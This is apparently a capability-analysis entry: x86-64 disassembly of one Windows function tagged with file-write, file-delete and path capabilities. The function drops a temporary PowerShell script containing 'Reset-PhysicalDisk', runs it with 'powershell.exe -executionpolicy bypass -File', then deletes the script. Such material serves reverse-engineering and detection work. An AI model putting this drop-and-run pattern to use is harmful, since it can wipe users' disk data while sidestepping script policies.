Function at 0x140059a80
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x100
xor bl, bl
xor r13d, r13d
mov qword [rbp + 0x6f], r13
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400b3970]
call sub.SHELL32.dll_SHGetKnownFolderPath
lea edx, [r13 + 8]
lea rcx, [rbp - 0x19]
call fcn.140007600
mov rdi, rax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r13w
mov rdx, qword [rbp + 0x6f]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x140059af0
lea rcx, [rsp + 0x40]
call fcn.14000ad50
nop
mov r8d, 6
lea rdx, str.Temp_
lea rcx, [rsp + 0x40]
call fcn.1400272a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x17], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r9, rdi
lea r8, [rbp + 7]
movzx edx, byte [rbp + 0x67]
lea rcx, [rbp - 0x39]
call fcn.14000c1d0
nop
mov r8d, 4
lea rdx, str..ps1
lea rcx, [rbp - 0x39]
call fcn.1400272a0
mov qword [rbp - 0x79], r13
mov qword [rbp - 0x69], r13
mov qword [rbp - 0x61], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x79], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x69], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp - 0x21]
cmp rdx, 8
jb 0x140059bd2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059bcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a044
call fcn.14007bbb4
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x21], 7
mov word [rbp - 0x39], r13w
mov rdx, qword [rbp + 0x1f]
cmp rdx, 8
jb 0x140059c24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059c1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a04a
call fcn.14007bbb4
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140059c66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059c61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a050
call fcn.14007bbb4
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r13w
mov rdx, qword [rbp - 1]
cmp rdx, 8
jb 0x140059cba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059cb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a056
call fcn.14007bbb4
mov qword [rbp - 9], r13
mov qword [rbp - 1], 7
mov word [rbp - 0x19], r13w
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x49], r13
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov ecx, 0x20
call fcn.14007bb78
mov rcx, rax
mov qword [rbp - 0x49], 0x14
mov qword [rbp - 0x41], 0x1f
movups xmm0, xmmword [str.Reset_PhysicalDisk_]
movups xmmword [rax], xmm0
mov eax, dword [0x1400aa040]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0
mov qword [rbp - 0x59], rcx
mov dword [rbp + 0x67], r13d
lea rcx, [rbp - 0x79]
cmp qword [rbp - 0x61], 8
cmovae rcx, qword [rbp - 0x79]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x1f01ff
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140059f6c
lea rdx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae rdx, qword [rbp - 0x59]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x67]
mov r8d, dword [rbp - 0x49]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140059f6c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, r13
mov r14, qword [rbp - 0x69]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 0x2e
jb 0x14005a05c
lea r12, [rbp - 0x79]
cmp qword [rbp - 0x61], 8
cmovae r12, qword [rbp - 0x79]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r15, [r14 + 0x2e]
mov edi, 7
lea rbx, [rsp + 0x40]
cmp r15, rdi
jbe 0x140059e71
mov rdi, r15
or rdi, 7
cmp rdi, rcx
jbe 0x140059dff
mov rdi, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x140059e2e
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14005a068
add rcx, rcx
cmp rcx, 0x1000
jb 0x140059e5a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005a068
mov rcx, rax
call fcn.14007bb78
test rax, rax
je 0x14005a062
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140059e6c
test rcx, rcx
je 0x140059e69
call fcn.14007bb78
mov rbx, rax
jmp 0x140059e6c
mov rbx, r13
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rdi
movaps xmm0, xmmword [str.powershell.exe__executionpolicy_bypass__File__]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x1400aa060]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x1400aa070]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x1400aa080]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x1400aa090]
movups xmmword [rbx + 0x40], xmm0
movsd xmm1, qword [0x1400aa0a0]
movsd qword [rbx + 0x50], xmm1
mov eax, dword [0x1400aa0a8]
mov dword [rbx + 0x58], eax
lea rcx, [rbx + 0x5c]
lea r8, [r14 + r14]
mov rdx, r12
call fcn.14007dab0
mov word [rbx + r15*2], r13w
mov r8d, 1
lea rdx, [0x1400aa048]
lea rcx, [rsp + 0x40]
call fcn.1400272a0
mov qword [rbp - 0x39], r13
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x21], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x29], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rcx, [rbp - 0x39]
call fcn.140006c00
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140059f6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059f65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a062
call fcn.14007bbb4
mov bl, 1
lea rcx, [rbp - 0x79]
cmp qword [rbp - 0x61], 8
cmovae rcx, qword [rbp - 0x79]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test rsi, rsi
je 0x140059f8e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x140059fd4
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059fcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a06e
call fcn.14007bbb4
mov qword [rbp - 0x49], r13
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 8
jb 0x14005a020
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a01b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a03e
call fcn.14007bbb4
movzx eax, bl
mov rbx, qword [rsp + 0x158]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140082148
nop
call fcn.140082148
nop
call fcn.140082148
nop
call fcn.140082148
nop
call fcn.140082148
nop
call fcn.14000acc0
int3
call fcn.140082148
int3
call fcn.14000aca0
nop
call fcn.140082148
int3